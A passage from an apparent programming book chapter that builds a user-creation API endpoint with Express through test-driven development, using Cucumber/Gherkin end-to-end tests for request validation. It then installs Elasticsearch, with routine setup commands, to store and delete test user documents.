But if we run our E2E tests now, the scenario that sends a malformed JSON would fail. This is because of how the body-parser middleware works. The bodyParser.json() middleware will attempt to parse the payload of all requests that has their Content-Type header set to application/json. However, if the payload itself is not a valid JSON object, the middleware will throw an error similar to the following:

SyntaxError {
  expose: true,
  statusCode: 400,
  status: 400,
  body: '{"email": "dan@danyll.com", name: }',
  type: 'entity.parse.failed'
}

Therefore, we need to catch this error in order to provide the correct response. Error handling can also be done through middleware, but they must be defined at the end, after other middleware. In the error handler middleware, we need to check whether the error thrown is caused by a malformed JSON payload, and if it is, send the 'Payload should be in JSON format' response we defined earlier.

Try your hands on implementing this error handler middleware; when you finish, compare your src/index.js file with the following one:

import '@babel/polyfill';
import express from 'express';
import bodyParser from 'body-parser';

const app = express();
app.use(bodyParser.json({ limit: 1e6 }));

app.post('/users', (req, res) => {
  if (req.headers['content-length'] === '0') {
    res.status(400);
    res.set('Content-Type', 'application/json');
    res.json({
      message: 'Payload should not be empty',
    });
    return;
  }
  if (req.headers['content-type'] !== 'application/json') {
    res.status(415);
    res.set('Content-Type', 'application/json');
    res.json({
      message: 'The "Content-Type" header must always be "application/json"',
    });
  }
});

app.use((err, req, res, next) => {
  if (err instanceof SyntaxError && err.status === 400 && 'body' in err && err.type === 'entity.parse.failed') {
    res.status(400);
    res.set('Content-Type', 'application/json');
    res.json({ message: 'Payload should be in JSON format' });
    return;
  }
  next();
});

app.listen(process.env.SERVER_PORT, () => {
  // eslint-disable-next-line no-console
  console.log(`Hobnob API server listening on port ${process.env.SERVER_PORT}!`);
});

Now, when we run our E2E tests, they should all be passing:

$ yarn run test:e2e
..................

3 scenarios (3 passed)
18 steps (18 passed)

We have now successfully migrated our API to Express, and thus completed our (long) refactoring step. Let's commit our hard work into the Git repository:

$ git add -A
$ git commit -m "Migrate API to Express"

Let's see how we can improve our code further. If you examine our Create User endpoint handler, you may notice that its logic could be applied to all requests. For example, if a request comes in carrying a payload, we expect the value of its Content-Type header to include the string application/json, regardless of which endpoint it is hitting. Therefore, we should pull that piece of logic out into middleware functions to maximize reusability. Specifically, these middleware should perform the following checks:

• If a request uses the method POST, PUT or PATCH, it must carry a non-empty payload.
• If a request contains a non-empty payload, it should have its Content-Type header set. If it doesn't, respond with the 400 Bad Request status code.
• If a request has set its Content-Type header, it must contain the string application/json. If it doesn't, respond with the 415 Unsupported Media Type status code.

Let's translate these criteria into Cucumber/Gherkin specifications. Since these are generic requirements, we should create a new file at spec/cucumber/features/main.feature and define our scenarios there. Have a go at it yourself; once you're done, compare it with the following solution:

Feature: General

  Scenario Outline: POST, PUT and PATCH requests should have non-empty payloads

  All POST, PUT and PATCH requests must have non-zero values for its "Content-Length" header

    When the client creates a <method> request to /users
    And attaches a generic empty payload
    And sends the request
    Then our API should respond with a 400 HTTP status code
    And the payload of the response should be a JSON object
    And contains a message property which says 'Payload should not be empty'

    Examples:
    | method |
    | POST   |
    | PATCH  |
    | PUT    |

  Scenario: Content-Type Header should be set for requests with non-empty payloads

  All requests which has non-zero values for its "Content-Length" header must have its "Content-Type" header set

    When the client creates a POST request to /users
    And attaches a generic non-JSON payload
    But without a "Content-Type" header set
    And sends the request
    Then our API should respond with a 400 HTTP status code
    And the payload of the response should be a JSON object
    And contains a message property which says 'The "Content-Type" header must be set for requests with a non-empty payload'

  Scenario: Content-Type Header should be set to application/json

  All requests which has a "Content-Type" header must set its value to contain "application/json"

    When the client creates a POST request to /users
    And attaches a generic non-JSON payload
    And sends the request
    Then our API should respond with a 415 HTTP status code
    And the payload of the response should be a JSON object
    And contains a message property which says 'The "Content-Type" header must always be "application/json"'

When we run our tests, the step But without a "Content-Type" header set shows up as undefined; so let's implement it. It is as simple as running the unset method on a superagent's request object:

When(/^without a (?:"|')([\w-]+)(?:"|') header set$/, function (headerName) {
  this.request.unset(headerName);
});

Run the tests and see that all steps are now defined but some are failing. Red. Green. Refactor. We're at the red stage, so let's modify our application code so that it'll pass (green). Again, have a go at it yourself, and compare it with our solution here once you're done:

...
function checkEmptyPayload(req, res, next) {
  if (
    ['POST', 'PATCH', 'PUT'].includes(req.method)
    && req.headers['content-length'] === '0'
  ) {
    res.status(400);
    res.set('Content-Type', 'application/json');
    res.json({
      message: 'Payload should not be empty',
    });
  }
  next();
}

function checkContentTypeIsSet(req, res, next) {
  if (
    req.headers['content-length']
    && req.headers['content-length'] !== '0'
    && !req.headers['content-type']
  ) {
    res.status(400);
    res.set('Content-Type', 'application/json');
    res.json({ message: 'The "Content-Type" header must be set for requests with a non-empty payload' });
  }
  next();
}

function checkContentTypeIsJson(req, res, next) {
  if (!req.headers['content-type'].includes('application/json')) {
    res.status(415);
    res.set('Content-Type', 'application/json');
    res.json({ message: 'The "Content-Type" header must always be "application/json"' });
  }
  next();
}

app.use(checkEmptyPayload);
app.use(checkContentTypeIsSet);
app.use(checkContentTypeIsJson);
app.use(bodyParser.json({ limit: 1e6 }));

app.post('/users', (req, res, next) => { next(); });
...

It is important to run our tests again to make sure we didn't break existing functionality. On this occasion, they should all be passing. Therefore, the only thing left to do is to commit this refactoring into our Git repository:

$ git add -A
$ git commit -m "Move common logic into middleware functions"

So far, we've been writing tests that ensure our request is valid and well-formed; in other words, making sure they are syntactically correct. Next, we are going to shift our focus to writing test cases that look at the payload object itself, ensuring that the payload has the correct structure and that it is semantically correct.

In our requirements, we specified that in order to create a user account, the client must provide at least the email and password fields. So, let's write a test for this.

In our spec/cucumber/features/users/create/main.feature file, add the following scenario outline:

Scenario Outline: Bad Request Payload

  When the client creates a POST request to /users
  And attaches a Create User payload which is missing the <missingFields> field
  And sends the request
  Then our API should respond with a 400 HTTP status code
  And the payload of the response should be a JSON object
  And contains a message property which says "Payload must contain at least the email and password fields"

  Examples:

  | missingFields |
  | email         |
  | password      |

Apart from the second step, And attaches a Create User payload which is missing the <missingFields> field, every other step has already been implemented. The missing step should attach a dummy user payload, but then remove the specified property. Try implementing the logic of this step definition yourself, and compare it with the following solution:

When(/^attaches an? (.+) payload which is missing the ([a-zA-Z0-9, ]+) fields?$/, function (payloadType, missingFields) {
  const payload = {
    email: 'e@ma.il',
    password: 'password',
  };
  const fieldsToDelete = missingFields.split(',').map(s => s.trim()).filter(s => s !== '');
  fieldsToDelete.forEach(field => delete payload[field]);
  this.request
    .send(JSON.stringify(payload))
    .set('Content-Type', 'application/json');
});

In the step definition, we first extract the variables and convert the missingFields string into an array. We then loop through this array and delete each property from the payload object. Lastly, we feed this incomplete payload into the request as the payload.

If we run the test now, it will fail. This is because we have not implemented the validation logic inside our Create User handler. Once again, have a go at implementing it, and check back here for our solution:

// Inside the app.post('/users') callback
app.post('/users', (req, res, next) => {
  if (
    !Object.prototype.hasOwnProperty.call(req.body, 'email')
    || !Object.prototype.hasOwnProperty.call(req.body, 'password')
  ) {
    res.status(400);
    res.set('Content-Type', 'application/json');
    res.json({ message: 'Payload must contain at least the email and password fields' });
  }
  next();
});

Now, all our tests will pass again:

$ yarn run test:e2e
.............................................................

10 scenarios (10 passed)
61 steps (61 passed)

Don't forget to commit these changes into Git:

$ git add -A && git commit -m "Check Create User endpoint for missing fields"

Next, we must ensure that both our email and password fields are of type string and that the email address is formatted correctly. Have a go at defining a new scenario outline for this, and compare it to the following solution:

Scenario Outline: Request Payload with Properties of Unsupported Type
  When the client creates a POST request to /users
  And attaches a Create User payload where the <field> field is not a <type>
  And sends the request
  Then our API should respond with a 400 HTTP status code
  And the payload of the response should be a JSON object
  And contains a message property which says "The email and password fields must be of type string"

  Examples:
  | field    | type   |
  | email    | string |
  | password | string |

Again, run the tests and confirm that one of the steps is undefined. Then, try to implement the step definition yourself, and check back with the following solution:

When(/^attaches an? (.+) payload where the ([a-zA-Z0-9, ]+) fields? (?:is|are)(\s+not)? a ([a-zA-Z]+)$/, function (payloadType, fields, invert, type) {
  const payload = {
    email: 'e@ma.il',
    password: 'password',
  };
  const typeKey = type.toLowerCase();
  const invertKey = invert ? 'not' : 'is';
  const sampleValues = {
    string: {
      is: 'string',
      not: 10,
    },
  };
  const fieldsToModify = fields.split(',').map(s => s.trim()).filter(s => s !== '');
  fieldsToModify.forEach((field) => {
    payload[field] = sampleValues[typeKey][invertKey];
  });
  this.request
    .send(JSON.stringify(payload))
    .set('Content-Type', 'application/json');
});

When we run the test, it fails because we have not implemented our application to handle that scenario. So, let's do that now by adding this if block to the end of the request handler for POST /users:

if (
  typeof req.body.email !== 'string'
  || typeof req.body.password !== 'string'
) {
  res.status(400);
  res.set('Content-Type', 'application/json');
  res.json({ message: 'The email and password fields must be of type string' });
  return;
}

Now, run the tests to see them pass, and commit our changes to Git:

$ git add -A && git commit -m "Check data type of Create User endpoint payload"

Lastly, the email address field may be present and have the correct data type, but it may still not be a valid email. So, the final check is to ensure the email is a valid email address. You should get the drill by now: define a new feature inside spec/cucumber/features/users/create/main.feature, and check back here for the solution:

Scenario Outline: Request Payload with invalid email format

  When the client creates a POST request to /users
  And attaches a Create User payload where the email field is exactly <email>
  And sends the request
  Then our API should respond with a 400 HTTP status code
  And the payload of the response should be a JSON object
  And contains a message property which says "The email field must be a valid email."

  Examples:

  | email     |
  | a238juqy2 |
  | a@1.2.3.4 |
  | a,b,c@!!  |

We are checking multiple examples here to give us confidence that our endpoint really won't accept an invalid email. In theory, the more examples we define, the better, because it gives us more confidence in our feature. However, E2E tests take a (relatively) long time to run; therefore, we must find a balance between confidence and speed. Here, we have specified three sufficiently diverse examples, which should cover most scenarios.

Next, let's define the step definition:

When(/^attaches an? (.+) payload where the ([a-zA-Z0-9, ]+) fields? (?:is|are) exactly (.+)$/, function (payloadType, fields, value) {
  const payload = {
    email: 'e@ma.il',
    password: 'password',
  };
  const fieldsToModify = fields.split(',').map(s => s.trim()).filter(s => s !== '');
  fieldsToModify.forEach((field) => {
    payload[field] = value;
  });
  this.request
    .send(JSON.stringify(payload))
    .set('Content-Type', 'application/json');
});

Run the tests and see them fail. Then, implement the following application code to make them pass:

if (!/^[\w.+]+@\w+\.\w+$/.test(req.body.email)) {
  res.status(400);
  res.set('Content-Type', 'application/json');
  res.json({ message: 'The email field must be a valid email.' });
  return;
}

Run the tests again, make sure they all pass, and then commit your code:

$ git add -A && git commit -m "Check validity of email for Create User endpoint"

Red. Green. Refactor. Now that all tests pass, it's a good time to refactor our code.

Our application code, although slightly repetitive, is easy to follow and read; therefore, we don't need to refactor it for now. There are, however, some improvements we can make to our test code. For example, we are hardcoding the Create User payload into our tests; it'll be better if we abstract that into a function that generates the payload when called.

We are going to create a new spec/cucumber/steps/utils.js file to house our utility/support code. Add the following into the utils.js file:

function getValidPayload(type) {
  const lowercaseType = type.toLowerCase();
  switch (lowercaseType) {
    case 'create user':
      return {
        email: 'e@ma.il',
        password: 'password',
      };
    default:
      return undefined;
  }
}

function convertStringToArray(string) {
  return string
    .split(',')
    .map(s => s.trim())
    .filter(s => s !== '');
}

export {
  getValidPayload,
  convertStringToArray,
};

Import it and use it in our test code. For example, the When(/^attaches an? (.+) payload where the ([a-zA-Z0-9, ]+) fields? (?:is|are) exactly (.+)$/) step definition would become this:

import { getValidPayload, convertStringToArray } from './utils';
...
When(/^attaches an? (.+) payload where the ([a-zA-Z0-9, ]+) fields? (?:is|are) exactly (.+)$/, function (payloadType, fields, value) {
  this.requestPayload = getValidPayload(payloadType);
  const fieldsToModify = convertStringToArray(fields);
  fieldsToModify.forEach((field) => {
    this.requestPayload[field] = value;
  });
  this.request
    .send(JSON.stringify(this.requestPayload))
    .set('Content-Type', 'application/json');
});

Do this for all other step definitions that use an endpoint-specific payload. After this, run the tests again and make sure they all still pass (because refactoring shouldn't modify the functionality), and then commit the changes to Git:

$ git add -A && git commit -m "Refactor test code"

We have covered almost all of the edge cases. Now, we must implement the happy path scenario, where our endpoint is called as intended, and where we are actually creating the user and storing it in our database.

Let's carry on with the same process and start by defining a scenario:

Scenario: Minimal Valid User

  When the client creates a POST request to /users
  And attaches a valid Create User payload
  And sends the request
  Then our API should respond with a 201 HTTP status code
  And the payload of the response should be a string
  And the payload object should be added to the database, grouped under the "user" type

All steps are defined except the second, fifth, and last step. The second step can be implemented by using our getValidPayload method to get a valid payload, like so:

When(/^attaches a valid (.+) payload$/, function (payloadType) {
  this.requestPayload = getValidPayload(payloadType);
  this.request
    .send(JSON.stringify(this.requestPayload))
    .set('Content-Type', 'application/json');
});

The fifth step is a variation of the Then('the payload of the response should be a JSON object') step definition we have already defined, and therefore we can simply modify it to make it more generic:

Then(/^the payload of the response should be an? ([a-zA-Z0-9, ]+)$/, function (payloadType) {
  const contentType = this.response.headers['Content-Type'] || this.response.headers['content-type'];
  if (payloadType === 'JSON object') {
    // Check Content-Type header
    if (!contentType || !contentType.includes('application/json')) {
      throw new Error('Response not of Content-Type application/json');
    }

    // Check it is valid JSON
    try {
      this.responsePayload = JSON.parse(this.response.text);
    } catch (e) {
      throw new Error('Response not a valid JSON object');
    }
  } else if (payloadType === 'string') {
    // Check Content-Type header
    if (!contentType || !contentType.includes('text/plain')) {
      throw new Error('Response not of Content-Type text/plain');
    }

    // Check it is a string
    this.responsePayload = this.response.text;
    if (typeof this.responsePayload !== 'string') {
      throw new Error('Response not a string');
    }
  }
});

For the last step, however, we actually need a database to write to. But we have already achieved a lot in this chapter. So let's review what we have done up to this point, and set up a database in the next chapter!

In this chapter, we coerced you into following TDD principles when developing your application. We used Cucumber and Gherkin to write our end-to-end test, and used that to drive the implementation of our first endpoint. As part of our refactoring efforts, we've also migrated our API to use the Express framework.

At this point, you should have the TDD process drilled into your brain: Red. Green. Refactor. Begin by writing out test scenarios, implementing any undefined steps, then run the tests and see them fail, and finally, implementing the application code to make them pass. Once the tests have passed, refactor where appropriate. Rinse and repeat.

It's important to remember that TDD is not required to have self-testing code. You can, without following TDD, still write tests after to verify behavior and catch bugs. The emphasis of TDD is that it translates the design of your system into a set of concrete requirements, and uses these requirements to drive your development. Testing is a forethought, not an afterthought.

In the next chapter, we will implement the last remaining step of our E2E tests, setting up Elasticsearch and using it to persist our user data.

In the previous chapter, we developed the bulk of our Create User feature by following a TDD process and writing all our E2E test cases first. The last piece of the puzzle is to actually persist the user data into a database.

In this chapter, we will install and run ElasticSearch on our local development machine, and use it as our database. Then, we will implement our last remaining step definition, using it to drive the development of our application code. Specifically, we will cover the following:

• Installing Java and Elasticsearch
• Understanding Elasticsearch concepts, such as indices, types, and documents
• Using the Elasticsearch JavaScript client to complete our create user endpoint
• Writing a Bash script to run our E2E tests with a single command

So, what is Elasticsearch? First and foremost, Elasticsearch should not be viewed as a single, one-dimensional tool. Rather, it's a suite of tools that consists of a distributed database, a full-text search engine, and also an analytics engine. We will focus on the "database" part in this chapter, dealing with the "distributed" and "full-text search" parts later.

At its core, Elasticsearch is a high-level abstraction layer for Apache Lucene, a full-text search engine. Lucene is arguably the most powerful full-text search engine around; it is used by Apache Solr, another search platform similar to Elasticsearch. However, Lucene is very complex and the barrier to entry is high; thus Elasticsearch abstracts that complexity away into a RESTful API.

Instead of using Java to interact with Lucene directly, we can instead send HTTP requests to the API. Furthermore, Elasticsearch also provides many language-specific clients that abstract the API further into nicely-packaged objects and methods. We will be making use of Elasticsearch's JavaScript client to interact with our database.

However, searching on normalized data is extremely inefficient. Therefore, to perform a full-text search, you would usually denormalize the data and replicate it onto more specialized database such as Elasticsearch.

Therefore, in most setups, you would have to run two different databases. However, in this book, we will use Elasticsearch for both data storage and search, for the following reasons:

• The page count of the book is limited
• Tooling around syncing MongoDB with Elasticsearch is not mature
• Our data requirements are very basic, so it won't make much difference

First, let's install Elasticsearch and its dependencies. Apache Lucene and Elasticsearch are both written in Java, and so we must first install Java.

When you install Java, it usually means one of two things: you are installing the Java Runtime Environment (JRE) or the Java Development Kit (JDK). The JRE provides the runtime that allows you to run Java programs, whereas the JDK contains the JRE, as well as other tools, that allow you to develop in Java.

We are going to install the JDK here, but to complicate things further, there are different implementations of the JDK—OpenJDK, Oracle Java, IBM Java—and the one we will be using is the default-jdk APT package, which comes with our Ubuntu installation:

$ sudo apt update
$ sudo apt install default-jdk

Next, we need to set a system-wide environment variable so that other programs using Java (for example, Elasticsearch) know where to find it. Run the following command to get a list of Java installations:

$ sudo update-alternatives --config java
There is only one alternative in link group java (providing /usr/bin/java): /usr/lib/jvm/java-8-openjdk-amd64/jre/bin/java
Nothing to configure.

For my machine, there's only a single Java installation, located at /usr/lib/jvm/java-8-openjdk-amd64/. However, if you have multiple versions of Java on your machine, you'll be prompted to select the one you prefer:

$ sudo update-alternatives --config java
There are 2 choices for the alternative java (providing /usr/bin/java).

  Selection Path Priority Status
------------------------------------------------------------
* 0 /usr/lib/jvm/java-11-openjdk-amd64/bin/java 1101 auto mode
  1 /usr/lib/jvm/java-11-openjdk-amd64/bin/java 1101 manual mode
  2 /usr/lib/jvm/java-8-openjdk-amd64/jre/bin/java 1081 manual mode

Press <enter> to keep the current choice[*], or type selection number: 

Next, open /etc/environment and add the path to the JAVA_HOME environment variable:

JAVA_HOME="/usr/lib/jvm/java-8-openjdk-amd64"

JAVA_HOME will be set for any user on login; to apply the changes now, we need to source the file:

$ . /etc/environment
$ echo $JAVA_HOME
/usr/lib/jvm/java-8-openjdk-amd64

Go to elastic.co/downloads/elasticsearch and download the latest Elasticsearch version for your machine. For Ubuntu, we can download the official .deb package and install using dpkg:

$ sudo dpkg -i elasticsearch-6.3.2.deb

Next, we need to configure Elasticsearch to use the Java version we just installed. We have already done this for the entire system, but Elasticsearch also has its own configuration file for specifying the path to the Java binaries. Open up the /etc/default/elasticsearch file and add an entry for the JAVA_HOME variable, just as you did before:

# Elasticsearch Java path
JAVA_HOME=/usr/lib/jvm/java-8-openjdk-amd64

Now, we can start Elasticsearch! Elasticsearch is installed as a service, so we can use systemctl to start and stop it:

sudo systemctl start elasticsearch.service
sudo systemctl stop elasticsearch.service

To simplify development, we can make Elasticsearch start whenever the system is rebooted by enabling it:

sudo systemctl daemon-reload
sudo systemctl enable elasticsearch.service

Now, we can check that Elasticsearch is running using systemctl:

$ sudo systemctl start elasticsearch.service
$ sudo systemctl status elasticsearch.service
● elasticsearch.service - Elasticsearch
 Loaded: loaded (/usr/lib/systemd/system/elasticsearch.service; enabled; vendo
 Active: active (running) since Wed 2017-12-27 17:52:06 GMT; 4s ago
 Docs: http://www.elastic.co
 Main PID: 20699 (java)
 Tasks: 42 (limit: 4915)
 Memory: 1.1G
 CPU: 12.431s
 CGroup: /system.slice/elasticsearch.service
 └─20699 /usr/lib/jvm/java-8-openjdk-amd64/bin/java -Xms1g -Xmx1g -XX:

Dec 27 17:52:06 nucleolus systemd[1]: Started Elasticsearch.

Alternatively, a more direct approach would simply be to send a query to the Elasticsearch API on its default port of 9200:

$ curl 'http://localhost:9200/?pretty'
{
  "name" : "6pAE96Q",
  "cluster_name" : "elasticsearch",
  "cluster_uuid" : "n6vLxwydTmeN4H6rX0tqlA",
  "version" : {
    "number" : "6.3.2",
    "build_date" : "2018-07-20T05:20:23.451332Z",
    "lucene_version" : "7.3.1"
  },
  "tagline" : "You Know, for Search"

}

We get a reply, which means Elasticsearch is running on your machine!

We will be sending queries to Elasticsearch very shortly, but it helps if we understand a few basic concepts.

As you might have noticed from the response body of our API call, Elasticsearch stores data in JavaScript Object Notation (JSON) format. This allows developers to store objects with more complex (often nested) structures when compared to relational databases that impose a flat structure with rows and tables.

That's not to say document databases are better than relational databases, or vice versa; they are different and their suitability depends on their use.

For example, your application may be a school directory, storing information about schools, users (including teachers, staff, parents, and students), exams, classrooms, classes, and their relations with each other. Given that the data structure can be kept relatively flat (that is, mostly simple key-value entries), a relational database would be most suitable.

On the other hand, if you're building a social network, and want to store a user's settings, a document database may be more suitable. This is because the settings may be quite complex, such as the one shown here:

{
  "profile": {
    "firstName": "",
    "lastName": "",
    "avatar": "",
    "cover": "",
    "color": "#fedcab"
  },
  "active": true,
  "notifications": {
    "email": {
      "disable": false,
      "like": true,
      "comment": true,
      "follow": true
    },
    "app": {
      "disable": false,
      "like": true,
      "comment": true,
      "follow": true }
    }};

With a relational database, you'll have to establish naming conventions for the columns (such as settings.notification.app.follow) in order to retain hierarchical information. However, to use the settings, you'll have to manually reconstruct the object before you can work with it. You'll need to do this each time the entry is retrieved.

Storing this user information as a document allows you to store objects as they are, retaining their structure, and retrieve them as they are, without having to do extra work.

In Elasticsearch, every document is uniquely identified by four attributes: its index, type, ID, and version.

Related documents should be stored under the same index. Although not equivalent, an index is analogous to a database in a relational database. For example, all documents used in our user directory API may be stored in the directory index, or since our platform is called Hobnob, we may also name our index hobnob.

Documents stored within an index must belong to a certain type. For our user directory API, you may have documents that belong to the person and company types. Although not equivalent, type is analogous to a table in a relational database.

Each document must also have an ID and version. Whenever a document is modified in any way, its version increments by a certain amount (usually 1).

We now have all the required knowledge in Elasticsearch to implement our last undefined step definition, which reads from the database to see if our user document has been indexed correctly. We will be using the JavaScript client, which is merely a wrapper around the REST API, with a one-to-one mapping to its endpoints. So first, let's install it:

$ yarn add elasticsearch

Next, import the package into our spec/cucumber/steps/index.js file and create an instance of elasticsearch.Client:

const client = new elasticsearch.Client({
  host: `${process.env.ELASTICSEARCH_PROTOCOL}://${process.env.ELASTICSEARCH_HOSTNAME}:${process.env.ELASTICSEARCH_PORT}`,
});

By default, Elasticsearch runs on port 9200. However, to avoid hard-coded values, we have explicitly passed in an options object, specifying the host option, which takes its value from the environment variables. To make this work, add these environment variables to our .env and .env.example files:

ELASTICSEARCH_PROTOCOL=http
ELASTICSEARCH_HOSTNAME=localhost
ELASTICSEARCH_PORT=9200

As specified in our Cucumber test scenario, we require the Create User endpoint to return a string, which we store in this.responsePayload. This should be the ID of the user. Therefore, if we can find the user document again using this ID, it means the document is in the database and we have completed our feature.

To find the document by ID, we can use the get method from the Elasticsearch client, which will get a typed JSON document from the index based on its ID. All of the methods in the Elasticsearch client are asynchronous—if we provide a callback, it will invoke the callback; otherwise, it will return a promise.

The result from Elasticsearch would have the following structure:

{ _index: <index>,
  _type: <type>,
  _id: <id>,
  _version: <version>,
  found: true,
  _source: <document> }

The _source property contains the actual document. To make sure it is the same as the one we sent in the request, we can use the deepEqual method from Node's assert module to compare the _source document with this.requestPayload.

Given this information, try to implement the final step definition yourself, and check back here for the answer:

Then(/^the payload object should be added to the database, grouped under the "([a-zA-Z]+)" type$/, function (type, callback) {
  client.get({
    index: 'hobnob',
    type,
    id: this.responsePayload,
  }).then((result) => {
    assert.deepEqual(result._source, this.requestPayload);
    callback();
  }).catch(callback);
});

Run the tests again, and there should be no undefined step definitions anymore. But, it still fails because we haven't implemented the actual success scenario in our src/index.js yet. So, let's get down to it!

In src/index.js, import the Elasticsearch library and initiate a client as we did before; then, in the request handler for POST /users, use the Elasticsearch JavaScript client's index method to add the payload object into the Elasticsearch index:

import elasticsearch from 'elasticsearch';
const client = new elasticsearch.Client({
  host: `${process.env.ELASTICSEARCH_PROTOCOL}://${process.env.ELASTICSEARCH_HOSTNAME}:${process.env.ELASTICSEARCH_PORT}`,
});
...

app.post('/users', (req, res, next) => {
  ...
  client.index({
    index: 'hobnob',
    type: 'user',
    body: req.body
  })
}

The index method returns a promise, which should resolve to something similar to this:

{ _index: 'hobnob',
  _type: 'users',
  _id: 'AV7HyAlRmIBlG9P7rgWY',
  _version: 1,
  result: 'created',
  _shards: { total: 2, successful: 1, failed: 0 },
  created: true }

The only useful and relevant piece of information we can return to the client is the newly auto-generated _id field. Therefore, we should extract that information and make the function return a promise, which resolves to only the _id field value. As a last resort, return a 500 Internal Server error to indicate to the client that their request is valid, but our server is experiencing some issues:

client.index({
  index: 'hobnob',
  type: 'user',
  body: req.body,
}).then((result) => {
  res.status(201);
  res.set('Content-Type', 'text/plain');
  res.send(result._id);
}).catch(() => {
  res.status(500);
  res.set('Content-Type', 'application/json');
  res.json({ message: 'Internal Server Error' });
});

Now, our E2E tests should all pass again!

When we run our tests, it'll index user documents into our local development database. Over many runs, our database will be filled with a large number of test user documents. Ideally, we want all our tests to be self-contained. This means with each test run, we should reset the state of the database back to the state before the test was run. To achieve this, we must make two further changes to our test code:

• Delete the test user after we have made the necessary assertions
• Run the tests on a test database; in the case of Elasticsearch, we can simply use a different index for our tests

First, add a new entry to the list of features in the Cucumber specification:

...
And the payload of the response should be a string
And the payload object should be added to the database, grouped under the "user" type
And the newly-created user should be deleted

Next, define the corresponding step definition for this step. But first, we are going to modify the step definition that indexed the document, and change it to persist the document type in the context:

Then(/^the payload object should be added to the database, grouped under the "([a-zA-Z]+)" type$/, function (type, callback) {
  this.type = type;
  client.get({
    index: 'hobnob'
    type: type,
    id: this.responsePayload
  })
  ...
});

Then, add a new step definition that uses client.delete to delete a document by ID:

Then('the newly-created user should be deleted', function () {
  client.delete({
    index: 'hobnob',
    type: this.type,
    id: this.responsePayload,
  });
});

The result of the delete method looks something like this:

{ _index: 'hobnob',
  _type: 'user',
  _id: 'N2hWu2ABiAD9b15yOZTt',
  _version: 2,
  result: 'deleted',
  _shards: { total: 2, successful: 1, failed: 0 },
  _seq_no: 4,
  _primary_term: 2 }